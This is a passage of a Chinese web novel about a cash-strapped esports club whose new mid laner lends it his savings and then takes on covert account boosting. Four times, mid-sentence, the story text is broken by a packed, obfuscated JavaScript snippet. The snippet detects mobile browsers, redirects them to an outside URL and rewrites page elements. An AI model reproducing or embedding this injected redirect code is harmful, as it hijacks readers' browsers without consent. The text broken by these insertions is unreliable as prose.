“她说了,不可能。”孟凌轩不知什么时候开始刷着手机,他头也不抬地答道,“当初都说好了月底你什么成绩就给多少,别想着提前拿钱。” 郁秋的脸瞬间垮了下去:“她这么不留情面的吗?” 孟凌轩冷哼一声,懒得回答。 这时,他看到了手机上弹出的一条的消息,怔了一下,随即,他没忍住捂脸好笑道: “郁秋,你这个小男朋友也有点东西啊。” “什么?” 还在苦恼资金问题怎么解决的人一时间没反应过来这句话是什么意思。 孟凌轩直接把手机屏幕甩到了他脸上—— 【“Night” 请求成为你的好友】 【来源:“LL”的名片推荐】 【备注:老板,我可以借钱给俱乐部,应该可以解俱乐部的燃眉之急】 “……” 郁秋挑眉。 还没来得及说话,他的手机在这时也响起了一道特殊的消息音。 是Whisper Tree特别关心的声音。 他眼里闪过一丝诧异,立马打开Whisper Tree看对方发来的消息—— 【Rain:训练赛的时候郁秋挑衅我。】 【Rain:你说我趁他睡着把他闷死在枕头里怎么样?】 郁秋:“……?” 好,是有点东西。 * 夜雨辰其实对战队能不能叫回One这件事比自己想象的还重视。 他来打职业只有一个目的——打比赛,拿冠军。 但要是一个战队连选手都凑不齐,那肯定是连报名成功的机会都没有的,更不用说上场比赛。 他可不想刚开始打职业就因为战队缺钱凑不齐选手导致比赛都没得打。 所以,他出手了。 隔日后,他一帮忙解决完了战队的问题,就没忍住和自己的好兄弟去炫耀—— 【微信群:当0当1不当(3)】 【Night:哥们我简直是太帅了,小手一挥,直接轻松解决战队的问题。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081117|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【U:怎么说?】 【Night:把钱借给俱乐部让他们可以叫One回来了,我们战队现在强的一批。】 【星:借了多少?】 【Night:10万。】 【星:?】 【U:多少??借这么多干嘛?】 【Night:教练说买我的钱都是从联盟那借来的,所以新射手的问题俱乐部已经不好意思再找联盟继续借钱了。】 【Night:我可不想因为选手不够导致战队连比赛都打不了,借钱而已,打了借条的。】 【Night:其实老板一开始还一直放不下脸面收钱,但还好我态度强硬,所以最后咱们战队轻轻松松的解决了这个小问题,而且他还答应了给我保密不告诉其他任何成员我这默默无闻地救世行为。】 【星:我服了老夜,你怎么又这么单纯?你就不怕到时候他们还不起吗?】 【Night:怎么可能?没有了那个人机射手我们现在战队强得一批,这一个月我们多练练成绩肯定一下就上去了,成绩一上去,战队资金问题不就解决了?】 他们几个昨天晚上已经开始尝试五排磨练配合度了,One的射手给人的压迫感都比小九不知道强了多少倍。 【Night:而且,说不定你这个赛季都能直接看到我和小U在决赛上对位PK争夺冠军呢。】 【U:这个赛季还是有点不太实际了老夜,我现在还只是替补呢。】 【U:不过我俩迟早能在台上再来一场酣畅淋漓的对决,期待那一天。】 他们都十分期待再次和对方在同一个竞技台上做势均力敌的对手的那天。 【星:那你现在兜里还剩多少?】 【Night:几十块吧,小问题,比赛重要。】 群里突然寂静了一个世纪。 【星:艹,你的意思是你要靠几十块在上海生活一个月是吗?】 【U:你才进队几天啊?队里人可靠吗??你确定他们不会偷偷吞你钱?!】 如果人能顺着网线来回穿梭,他们现在已经巴不得扇夜雨辰几巴掌看看他脑子是不是真的瓦特了。 怎么会有人为了上场打比赛,先把自己生活费全整没了? 但,听完了JYY这一年经历后的夜雨辰十分确信—— 【Night:他们不会。】 这几天的相处下来,他觉得除了石简益,其他人也不是那种会做那种被钱猪油蒙心的行为的。 何况,整个俱乐部现在都没几个人,如果资金出事了他也好找人算账,谁会有这种胆子? 【Night:而且钱永远只是小问题,我这叫为梦想奉献,你们难道不觉得我这种员工借钱给老板的行为很帅吗?】 【星:只觉得你疯了。】 【U:人傻钱多。】 ? 夜雨辰冷哼一声,直接退出了聊天框。 不识趣,都没人夸他以一己之力救整个战队的行为多帅。 而且…… 他直接打开家庭群,给他的父母发去了消息。 这个月的生活费还没拿到手呢,他才不会傻到剩个几十块钱在上海过一整个月。 24. 第 24 章 JYY公司的老板办公室里。 “小九的处罚公告已经下来了,他这两天就会被放回来,你们可以赶他走了。”一名女子轻抿着手里的咖啡,汇报着战队的状况,“和One也交涉好了,他明天就可以来基地报道了。” 孟凌轩对这些汇报充耳不闻,而是再次饶有兴趣地翻看着郁秋拿自己手机和夜雨辰的聊天记录,没忍住好笑道:“我是真没想到,你小男朋友的态度这么强硬,一定要我收下这笔钱。但郁秋,这是以你的名义借的钱,不是我!‘老板找员工借钱’这么丢脸的事情要是传出去我是真的不想活了。” 郁秋翻看着手里的杂志,头也不抬一下:“那你把钱还给他,你出这钱。” “没钱,都赔给你战队了。”冷姝言翻了个白眼。她放下手中的咖啡,冷声道,“这次如果没他帮忙你们连比赛都没得打了,你是真会给我们找事做。” 一想到来战队后自己的事情就一堆一堆的来,孟凌轩满脸懊悔道:“老子当初为什么要答应你来帮你收拾这摊子?特别是你还不想让我们靠关系给战队接业务,单是和那些赞助商沟通我都要累死了!你这不就是经典的没苦硬吃吗?” 郁秋对他的反应视若无睹,不紧不慢道:“战队还是一步一步来更踏实一点,如果没成绩一下却有太多业务,那就本末倒置了。” “而且队里全部人都是被尘埃遮住的星星,他们更希望靠自己的双手拼出一切。” “不过……”他微微皱起了眉,“就算有夜雨辰帮忙,战队的资金是不是还有问题?” 其他二人的脸瞬间黑如锅底:“……” 哪壶不开提哪壶。 孟凌轩顿时欲哭无泪:“创业真是太烧钱了,事情还巨多,那些债主怎么不去找邱诺那个混蛋啊?!老子以后一定要整死这个人!” 冷姝言倒是没他那么夸张,但是整个人也崩不太住,扶额道:“反正这个月其他人是发不起工资了,你和零落看着交代吧,招员工暂时也招不了,我们家里看完我们刚出来创业的几天就几百几百万的支出,已经很明确在这方面不会再给我们更多的钱了。” 毕竟俗话说得好,创业就是败家的第一名。 郁秋叹了口气,掏出手机:“那我只能继续找kimi了,不然队里还没开始比赛全员就饿死了。” 刚打开微信,映入眼帘的消息让他出乎意料。 是零落发来找他的消息。 一张聊天记录截图—— 【Night:教练,战队这个月的工资可以提前发吗?】 * 夜雨辰在收到两条消息后,整个人如同五雷轰顶般,瞬间颓了。 他爹是这么跟他说的—— “儿子啊,忘记跟你说了,我和你老妈都商量好了,你现在有工作有工资,已经算正式踏入社会了,所以这两个月我们打算让你先独自生活一段时间,鸟儿总会离巢,我和你妈需要学会对你放手,而你也要学会独立,不再常常依赖我们。” 他老妈接着道—— “你之前跟我们说这几年的零花钱刚好攒了不少,所以如果工资不够,这些钱也够你先试着过两个月了。不过儿子,我们永远是你最坚强的后盾,所以放手去做任何事吧!工作加油,祝你顺利早日夺冠实现梦想!” 简而言之,他父母这两个月不会再发生活费了。 他直接倒在了床上。 虽然吧,他很理解为什么自己爹妈会说这些话,但是,他才刚把自己的钱花完…… 而且零落刚刚还跟他说,战队工资还不一定发得下来! 上一秒还在沾沾自喜的青年,现在满脑子焦愁。 兜里只剩几十块了。 现在是八月初,这个数目就算天天只吃一碗泡面,在上海也绝对是活不下去的。 而且以他的消费习惯,别说几十块,就算他能拿到工资一个月最多就勉强撑过去,生活质量肯定会大打折扣。 他不仅花钱开销大,而且还 虽然如果他现在和父母实话实说自己拿攒下的钱去做了什么,应该能拿到一些“救济金”,但他拉不下脸。 他不愿意跟他们说自己把钱全借给了俱乐部,毕竟自己当初多信誓旦旦地跟他们说自己攒的钱够花。 而且如果他们以为自己花这么一大笔钱是被什么传销组织骗了咋办? 但他又不可能找孟凌轩要回那十万块钱。 他借出钱的态度如此强硬,现在要回去多丢脸? 最关键的是,他从零落那了解到战队对这笔资金确实很急,而对夜雨辰来说,打比赛一定是重中之重,所以无论如何,他都不可能去要回这笔钱。 而如果是找好兄弟借钱的话……阿星虽然有钱,小U就算了,他自己的条件都不太好。 他可没有那么厚的脸皮,才刚在他们面前炫耀完一口气花这么多钱,下一秒狼狈的就找他们借钱。 …… 夜雨辰目光灼灼地天花板,久之,长长地叹出了一口气。 现在该怎么解决钱的问题呢? “咔嗒!” 这时,门口传来一道轻响。 他视线都懒得给过去就知道是郁秋回来了。 等等,郁秋? 突然,像想起了什么似的,夜雨辰突然坐了起来。 他将一副若有所思地视线放到了这个刚回到房间就开始收东西的舍友身上。 他好像突然有解决办法了,但是…… 许是感受到有目光打在自己身上,郁秋头也不回道: “怎么了?” “……想问你一些问题。” “你说。” 一想到自己要问什么,他脸上就闪过一抹不自然之色:“你……之前被邱子幸他们压工资那会,买东西的钱一般是哪来的?” 郁秋悠悠道:“赚来的。” 他干咳两声,将自己的语气表现得尽量平静道:“那……开开他们说的,你之前对他们的帮助是什么?” 郁秋手上的动作一顿,随即,偏头看向他,嘴角一勾:“怎么,你也需要吗?” “……” 夜雨辰微微张口,就又立马把想说的话吞回了肚子里。 他眼底不断闪烁着犹豫的光芒。 到底……要不要问呢? 在这几天战队每个人对话和行动的细枝末节下,他大概知道郁秋的钱是哪来的了,甚至能猜到他帮助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081118|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了其他人什么—— 邱子幸和邱诺跑路的时候,零落他们三个都没多少积蓄垫钱,而郁秋垫的最多;开开和Qian熬夜到深更半夜打排位,交流的话语里只有怕One输了游戏被挂在网上,却不提自己也会被挂在网上,而且第二天,他们对郁秋说的是‘手头上有点紧’; 郁秋被扣了接近一年的工资却被队员还说是‘月光族’、‘开销很大’,而且近两年,他的账号‘Qiu’已经很少在游戏圈里现身了,但他不可能不打游戏,所以他应该是常常打着他的‘朋友号’,就比如‘Kimi大小姐’的账号;而且前几天,他还特意提醒了自己去思考‘没有比赛打的职业选手’这类人该怎么办…… 以及最重要的,零落再三跟自己强调合同上禁止事项的时候,含糊地将其中两项回答成“也不是不行”,然后就一嘴溜了过去。 这些细节的种种,大家虽然从没有明确说出口过,但是可以猜到郁秋这两年没比赛打或是被压工资的时候,大概率主要在干的事情就是—— 代练。 并且,他在听说队友也为经济发愁的时候,应该是将自己手里那些有需求的老板号全都介绍给了他们,让他们也有其他赚钱的门路缓解经济压力。 毕竟如果是那些“大国标”的单子号的价格,既可以让他们现实生活的状况不会太过窘迫,还可以保证自己的实力不会降下去。 夜雨辰垂眸沉思着。 他是GloryK的顶尖高手,以他的实力如果去做代练,只要有老板,他绝对可以赚得不少。他以前不去做主要是因为不想,因为他不缺钱。 可现在他缺,十分缺,他现在一点都没钱,根本没有安全感! 而且除了面前的这个人,他身边的人几乎都不干代练这一行。 所以他有点想找郁秋问问这个“帮忙”的事情。 但……就这样开口说出自己的困境是不是太丢脸了? 郁秋见他久久不吱声:“嗯?” “我经济上有点问……” 话未说完,夜雨辰就瞬间噤声了。 艹,思考太深下意识把脑子里的东西说漏嘴了。 郁秋挑眉:“所以?” 夜雨辰深吸一口气。 算了,说出去的话泼出去的水。反正这人也不知道自己做了什么,也不知道自己原本的经济状况,所以找他帮忙应该也不至于到丢脸的地步吧? 最终,为了自己这个月能安稳地有钱过生活,他下定决心,硬撑着脸皮,心不甘情不愿地憋出了两个字:“需要。” “需要什么?” 郁秋拉开椅子随意一坐,笑眯眯地看着面前的青年,“可以不要打哑谜吗?我听不懂。” 夜雨辰逐渐握紧拳头:“……” 冷静,冷静。 他是有求于人的那一方,态度一定要好,现在钱更重要,面子可以暂时搁置。 他一咬牙,尽量让自己保持低态,语气平和且谦逊:“我最近手头有点紧,所以可以帮帮我吗,秋哥?” 看着夜雨辰耳根和脸色逐渐泛红的模样,郁秋脸上的笑意更甚: “‘秋哥’这个称呼我听腻了,你要不喊个老公我听听?” 25. 第 25 章 “……” 夜雨辰嘴角一抽。他长叹一口气,捏了捏鼻梁,“为什么每次你都不会简单的说个‘不’?” 郁秋眨了眨眼:“什么意思?” “意思是你又恶心到我了,傻逼。” 夜雨辰送出一个白眼后,就直接低头打开手机,给小U发去消息。 不想帮说不帮不就好了,干嘛又恶心他? 郁秋了然,他双手抱胸,满脸无辜道:“我没说不帮,只是我觉得你需要对这件事印象深刻一点。” 夜雨辰头也不抬:“大可不必哈,我对你这个人印象还是挺深刻的。” 动不动就会说一些非常人能说出的话。 “咳咳。”只听对方突然把话题转了回去,“你找我帮忙是不是因为想做‘代练’?” 这句话一下戳中了心里,他手指下意识微搐了一下,默不作声。 接着,一股似乎带着遗憾语气的话语又钻入了他的耳中:“这件事我肯定是帮不了你的,合同上写得很清楚,职业选手禁止做‘代练’。” 闻言,他一怔,下意识抬起头,恰好对上了一副正饶有兴趣地看着自己的双眸。 在碰上视线的一瞬间,他下意识瞥开目光:“什么意思?” 难道他猜错了? 不是这个方法赚钱那还有什么方法赚钱? 郁秋笑眯眯地摊开了手:“还要我跟你强调吗?职业选手是不能做‘代练’的。” “这可不是你喊我‘哥’我就愿意以身犯险的事,我现在可是穷到交不起罚款了。” “……”夜雨辰蹙起眉头,沉默了半晌,语气充满了十分的不确定道,“所以你的意思是要让我喊那两个字才愿意以身犯险?” 什么狗屎癖好? “这两个字你又喊不出口。” 郁秋似是惋惜地叹了口气, “只是想让你对我接下来的话印象深刻一点,毕竟明面上,这件事也算是职业选手的禁区之一。” 虽然惩罚不会比演员严重多少。 “‘明面上’?” 夜雨辰一下就抓住了重点。 郁秋点了点头:“嗯,虽然吧,职业选手确实不能干‘代练’,但是……” 他的脸上突然写满‘天真无辜’四个大字,“大家都是游戏高手,肯定也有不少朋友吧?所以帮帮朋友打打号上上分是一件很正常的事吧?然后朋友给我们结点辛苦费也没什么吧?” “……” 这他妈和代练有什么区别?! “区别还是有的。”像是看懂了对方的表情,郁秋不紧不慢地开始介绍,“合同上毕竟还是白纸黑字,而且职业选手是公众人物,我们要是主动承认了做了合同上的‘禁项’,对这个圈子的名声只会有弊无利,那联盟最后不得不会干涉阻拦我们。” “给你举个最简单的例子就是,邱子幸这一年知道我在打单……哦不,帮朋友上分,但他一直拿我没辙,从没在联盟那成功举报过我一次。” 在职业联盟里,规矩是死的,人是活的。 郁秋虽然是首发,但在联盟里也只是一名普通的电竞职业选手,再加上战队在比赛的低成绩,所以本身俱乐部收入就少,他的薪水就算不被扣,再多也多不到哪去,一般来说是在上海勉强能过一个月的钱。 所以联盟那边就算收到部分证据,但只要他明面上从没承认过这是代练,事情也没闹大,那他们就会睁一只眼闭一只眼,不会干涉这件事。 反正他也不是唯一一个破例的选手,联盟那边早就习以为常。 毕竟总不能让选手来打职业后全都因为没比赛没工资,最后活生生的饿死了吧? 这时,夜雨辰的手机发出了一道收到消息的震动。 是刚刚一气之下,他直接给小U发了条消息的回复—— 【Night:你现在还打单子吗,有单吗?】 【U:我不打了啊夜哥,我合同上明确说了不能打的。怎么了,你想打吗?】 看到消息后,夜雨辰眸光波动了一下:“……” 他简单地回复了一个‘没事了’,就将注意力重新放回到了郁秋的身上。 郁秋的神色不知什么时候变得严肃了起来:“夜雨辰,这一点你必须记住,职业选手是公众人物,在外,你的一举一动都很容易被看不见的手无限放大,你说的每一句话,都很可能会给你造成很大的影响,所以你要学会给自己的话语‘包装’,不被任何人抓住把柄。” “虽然你在基地里可以不用这么高的防备心,但你必须养成这个习惯,这算是作为一名老选手给新选手的建议。” 将自己想表达的意思说得模棱两可一点,最好是让双方都懂,但让其他人不好听懂或揣测。 这样也好给自己准备好一定的退路。 对这个建议,夜雨辰忍不住蹙起了眉。 他从不喜欢这种兜兜绕绕的东西,但是郁秋已经不是第一次这样暗示自己要注意发言了。 再三的强调,他不在意就说不过去了。 不过,他确实知道自己随心一句话会给自己造成多大影响。 这是他们俩都一起经历过的事。 “好了,回归正题。” 郁秋双手一拍,脸上重新挂上一副人畜无害的笑容,“其实我确实也有个朋友想打打中路的英雄,你有兴趣吗?” * 职业联盟对石简益的调查结果一出来,就把他放回了基地。 同时,由于各种证据确凿,联盟和战队的公关都直接把他“永久禁赛”的处罚公告一并在网上发布了出来。 他再在队员面前露面的时候,整个人看上去十分阴晴不定。 当然,众人对他结果咋样早就不以为意了。 他离开的时候,狠狠地瞪向了坐在客厅里低头玩手机地郁秋,淡淡道:“你知道为什么邱子幸走的时候没带我一起吗?” 听起来不像疑问句,反而是句试探。 郁秋坐在沙发上百般无赖地看着手机,头也不抬道:“没兴趣,再也不见。” 看到这副兴致缺缺地模样,石简益一噎,额上爆出一条青筋。 他将阴鹫的眼神甩到在餐厅吃东西的夜雨辰身上,不屑道:“你们以为我被他抛弃了?但其实是不是我以身犯险去做演员,而是我根本不想继续打职业了。” “是子幸给我的机会让我体验到这些与众不同的生活,我喜欢这样的生活,所以我需要钱,但我不可能一直拿他的钱过日子,所以靠职业这条路赚钱对我来说是一定走不通的。” 他实力不够,也没颜值,名声还不好,他如果只想赚钱大可不必继续走这条路。 听到这句话,郁秋下意识地瞥向坐在自己身旁的零落,眼里写满了“你看吧,是他自己放弃了这条路,根本用不着你去操心他”的意思。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081119|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 石简益:“子幸家里有钱,他想要的只有冠军,我的实力有限,所以我没必要去给他拖后腿” 说着,他目光一甩,狠毒的视线重新放到了郁秋的身上,言语里满是唾弃, “但你们,特别是你,郁秋,你是最不配拿冠军的那一个。” 他没忍住嗤笑一声:“你成为职业用了什么手段你自己心里有数,自留签再怎么破例也不会让一个战队提前发布成员官宣公告,甚至为了一个替补出头的。” 自留签,就是一名青训生在该俱乐部旗下的青训营有出色优异的表现被俱乐部看上,直接签下合同进入战队的过程。 小U和夜雨辰当初都是在S组的战队FQ旗下的青训营训练,所以俱乐部有意让他们签下自留签。 最后,小U以三年的合同签下了FQ,而夜雨辰为了不和小U在队里有首发的竞争以及自己也有其他的想法,所以他选择进入选秀大会进行拍卖。 “Fire的合同一到期就迫不及待地把你这个烫手山芋低价丢出来,说来,子幸还算是救了你一命呢。” 听到这些话,其他队员对此早就习以为常懒得搭理,郁秋眉头也不皱一下。他头也懒得抬,平淡道:“嗯,谢谢你家主子给我一条生路把我买了过来。就是不知道……” 他抬起眸,满是嘲讽的眼神看向门口那个狼狈的人,嘴角一勾:“你们买我的目的达到了吗?” …… “呼,终于走了。”小霖感叹道。 开开大吸一口气,心满意足:“基地空气一下就干净了不少呢。” Qian早已迫不及待,他转过头,目光灼灼地看向教练:“One什么时候回来?” 小九一走,射手一空,加上他们在群里的通知,One的回归已经是板上钉钉的事了。 “你别急,他晚上就到了。”零落汗颜,然后看向在餐厅里一直看戏的夜雨辰,“Night,你的直播和论坛账号都给你搞定了,你今晚就可以开始刷时长了。” 一听到和互联网打交道的东西,夜雨辰忍不住轻啧了一声,心不甘情不愿地:“哦。” 零落:“直播的具体设备调试可以让郁秋帮你,注意事项那些已经发到你微信里了。” 说到这,他突然想起来一件事,看向坐在客厅的人: “哦对郁秋,老板让我跟你说,鉴于你以前在队里的直播时长从未达标过,所以他说如果你这个月没到时长直接‘扣光你工资’。” 郁秋笑着挑起了眉。 扣光工资? 做甩手掌柜跑路的威胁还差不多吧。 不过,这倒是引起了夜雨辰的好奇心:“时长从未达标过?” 直播打游戏而已,一整年直播没达标是不是有点太夸张了? “这个我知道,我来跟你说。”开开立马凑到他耳旁,小声笑嘻嘻道,“别看表面上邱子幸都给秋哥扣没钱了,所以他找借口逃每次的直播。” 他小声地“嘘”了一下, “其实,秋哥有个不为人知的一面。” 夜雨辰的好奇心更加泛泛,没忍住将探知的目光看向对方。 开开似是了解了对方的探知欲,笑嘻嘻道:“别看秋哥总是一副游刃有余悠然自得的模样,其实他特别讨厌被别人以第一视角看着打游戏。” “他特别讨厌开直播,或是说,他的直播经验跟小白没什么区别。” 26. 第 26 章 几天后 二楼某间房里,一名青年正坐在自己的电脑桌前。 他面前的显示屏上正展示着手里的游戏对局,而屏幕的左下角,正是他戴着耳机、靠在电竞椅上低头专心致志打游戏的模样。 游戏画面旁,断断续续地有弹幕弹了出来—— 【主播主播,画面快看不到你人了,能不能把头抬起来,不然摄像头开着有什么意义?】 【排位赛没意思啊,学不到技术,能不能直播打巅峰赛?已经到点可以打巅峰了。】 【为什么你一进JYY小九就出事了,是不是和你有关系?】 【你打的是谁的号呀?好像不是职业号欸】 【是在代打吗主播?】 …… 夜雨辰抬眸,轻瞥了一眼上面的弹幕,选择性随口答道:“朋友号,今晚不打巅峰赛,只打排位。” 说完,便继续将注意力转回手里的对局:“来压高来压高!” 之前,夜雨辰的游戏ID从‘Rain’改为‘Night’后一段时间,为了防止自己又被他人冒充去骗人,他便再次创建了一个新的音符平台账号,但从来不直播或发视频,只会偶尔发几个截图纪念一下自己打游戏的成绩。 不过新ID在GloryK里名声大噪后,他这个平台账号在这也攒了小几万粉丝。 而战队给他签直播合同的就是这个账号,所以这几天,他一开直播打游戏,就有不少粉丝闻声赶来了。 【这双排队友是谁啊?开开吗?】 【为什么你的队友不开麦,Night你一个人说了一整把话不无聊吗?】 【大顺风压了这么久的高地?行不行啊?】 【辣眼睛,还全国第一中单,是我早就一波对面了】 …… 直播的游戏对局中,边路花木兰发了一条局内消息—— 【星:等我我来开】 接着,他就一直疯狂发着信号—— “请求集合!” “请求集合!” “‘闪现’技能已经好了!” 夜雨辰的火舞在一旁发信号示意自己的“闪现”技能也好了,一直在侧边藏着视野蓄势待发,并冷静地回应队友:“直接开,我能跟的。” 他们将自家的两路兵线一起推进了敌方的高地塔。 花木兰将视野卡好,在小兵进塔、对面双c露头的瞬间,直接闪现到了他们脸上。 夜雨辰果断地大闪进场跟伤害。 系统的击杀播报声接二连三的传入耳中,响彻整个直播间—— “You have been slained.”(你已被击杀!) “An ally has been slained.”(队友被击杀!) ... “Enemy Quadra Kill!”(敌方四杀!) “Aced!”(团灭!) “???” 局内突然的变故让夜雨辰瞪大眼眸。 他深吸一口气,立马抬头在电脑上操作了一下,然后直接破口大骂: “我去你大爷的言星奕你他妈闪人家脸上给我玩挂机??!” 然而,他的双排队友并没有给出任何回应,反而直播间的弹幕开始刷屏 【我卡了吗,怎么好像没听到主播说话的声音?】 【不是你卡了,我也没听到声音。】 【笑死我了,主播是不是在骂队友所以把直播间的麦关了?】 在他不远处同样打着游戏的舍友同样被吸引了注意:“你不是在直播吗?骂脏被抓到是要被罚的。” 夜雨辰瞥了一眼对方,懒得去理他,而是重新打开直播间的麦克风,和观众们淡淡解释道:“不好意思,刚刚跟朋友打了个招呼,不想暴露人家的隐私。” 说完,他便面不改色地低下头继续看手中还未结束的对局。 恰好,他一低头,就看到了自家水晶爆炸的场面—— “Defeat!” 夜雨辰瞬间黑下了脸:“……” 直接猝死被对面翻盘了。 这一波团战,花木兰的闪现进场直接打响了团战的战鼓,但下一秒,他闪进了对方塔下、敌方五人面前后,便一动不动。夜雨辰的火舞虽然第一时间跟着进场打出了伤害,但由于花木兰的突然挂机导致伤害和控制不够,导致他们俩最后一起暴毙。 而他们的队友是路人,实力存在差距,反应慢半拍后他们才跟上了团战,结果就像葫芦娃救爷爷似的,一个接一个的给对面送人头。 最后,整队团灭,而敌方一个人也没死。 于是对面一个个像没赢过游戏似的,一直疯了似的只点推塔建,将他们这一方的防御塔和水晶全数推掉,完成了逆风翻盘。 夜雨辰愣愣地看着手机屏上显示的失败界面。 下一秒,他啧了一声,看也没看弹幕的反应,直接下播,打开微信发去了轰炸—— 【Night:我去你大爷的言星奕!!团灭发动机!!】 【Night:赔我排位分!!】 【Night:今天是周日啊!定榜日啊!我排位分还差好多啊!!】 郁秋给他的账号可是要求在这周定榜前将三个英雄的分数打上全国前三,如果达到目标,他的钱包里不仅可以终于有钱,号主还会继续找他打这个号,解他羞涩之囊。 简而言之,就是一个‘入职’小测试。 GloryK里,玩家如果想拿一个英雄的荣誉称号,需要通过打巅峰赛和排位赛来积累分数,荣誉称号由低到高分为县级、市级、省级和全国四个梯级。其中,每周日的凌晨一点,游戏会统计排行榜上每个人的分数,并给予他们对应的前百名荣誉标志。 而大国标则是每个月定榜一次,范围在每个英雄的全国前十名,是最罕见也是最厉害的称号。 两者上分规矩都一样,赢了加分,输了扣分。 对夜雨辰来说,这种排名简直是手到擒来。 不过加上平常的训练赛的话,时间可能会比较紧张。 所以这几天,他连自己号都不打了,只玩这个号,包括战队一起五排的时候。 这几个英雄巅峰赛需要的分数他已经冲了上去,就差把剩余的排位分打满了。 现在是晚上七点,他必须要在凌晨一点前将这几个英雄的排位分数打满才行。 “怎么下播了?被打破防了?” 郁秋刚没忍住好奇心点进夜雨辰的直播间,结果就看到了“Defeat”后主播光速下播的画面。 夜雨辰头也不抬:“直播一直都不开的人没资格说我。” 就没见过这个人开直播。 郁秋漫不经心地摆了摆手:“这才月初,不急,刷时长还是很容易的。你排位还差多少把?” “关你……” 话刚说到一半,夜雨辰又立马把话吞了回去,改口道,“很多把。” 这几天,他开始有意识的对郁秋的态度稍微好转了一点。 毕竟自己手上的账号都是对方提供的,要是自己还那么不太好的态度对他,摇钱树可就没了。 郁秋:“我现在也要打排位,你要不要一起?” 夜雨辰依旧盯着自己的手机屏幕头也不抬一下,想也没想:“我有人一起打了,下次吧。” 他还在等言星奕回消息。 言星奕是他打这个游戏以来这几年最固定的一起上分的排位搭子,他们俩一起上分、一起打商场赛玩,早就有了极高的配合,只是对方并没打算走职业选手的道路。 不过,对方平常都是秒回,这次却迟迟不回消息。 再过了一会,对面终于回复了消息。 【星:抱歉抱歉,我今天开学,现在在偷玩手机,刚刚还以为是老师来了给我抓了】 【星:晚上赔你分吧,我先去晚自习了。】 夜雨辰:“……” 得,忘记自己的搭子还是名学生了。 更要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081120|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命的是,对方还是个住校高三生,学校明面上不给带手机,所以这段时间他们俩估计更难一起打排位了。 但他现在特别急在这短短几个小时里打满几十把排位分。 他现在还差一千分才能到达目标。 假设赢一把游戏能给一个英雄加五十分,输一把扣五十分,那相当于要净胜二十把游戏。一般一个小时能打三把游戏,现在是晚上七点,到凌晨一点还有六个小时,刚好二十把游戏…… 所以说,他接下来一把几乎都不能输,而且需要高效率结束对局拿下胜利。 而打排位,肯定还是和势均力敌的队友多排更有效率。 可自从id改为Night后,他一起排位的搭子就少了很多,而现在战队的其他队员的账号都正显示着巅峰赛进行中,没人会愿意在现在打难度远低于巅峰赛的排位赛。 百般思考下,他幽幽地将视线看向坐在一旁似因被拒绝而有点闷闷不乐的郁秋。 好像只有他现在是最有空一起打的了。 夜雨辰清了下嗓子,不经意地开口:“你开了吗?打不打?” “不打。”郁秋果断拒绝,冷哼一声,“你不是不需要我吗?” 夜雨辰义正言辞道:“不是不需要,刚刚我在练英雄,怕把你坑输了才不敢叫你。” 郁秋幽幽地瞥去视线:“哦,是吗?” 夜雨辰满脸‘真诚’:“真的,不骗你。” “……”郁秋嘴角微不可察地勾起了些许,接着立马叹息道,“那好吧,勉为其难来几把。” 说着,他打开了手机和电脑。 “不过……”夜雨辰眼里闪过一抹犹豫,“假如你先比我打完分了,还会继续打吗?” GloryK里有个常见的现象,几个玩家们组队一起上分,很多人一打完自己的分数,就不管三七二十一的丢下其他玩家直接下线。 这种突然被抛弃的感觉真的很容易让人感到失落。 郁秋轻点了下头,毫不犹豫:“当然。” “真的?” “不骗你。” “来,上号,速度!” 夜雨辰迅速地重新打开了直播间。 两个顶尖中野打双排,那效率一定是杠杠的,连胜不在话下。 距离交单还剩几个小时了,时不我待! 弹幕一看到直播重新开启,立马发出了几条消息—— 【刚刚怎么下播了?】 【这个队友又是谁?怎么换了一个双排队友?】 夜雨辰轻瞥了一眼身边的人,简单道:“舍友。” 【你舍友到底是谁呀?为什么你和One都不透露你们的舍友?】 【就不能学学隔壁开开和Qian吗,天天直播打架,可太有节目了】 夜雨辰疑惑道:“你们是来看我直播的,关注我舍友是谁干嘛?” 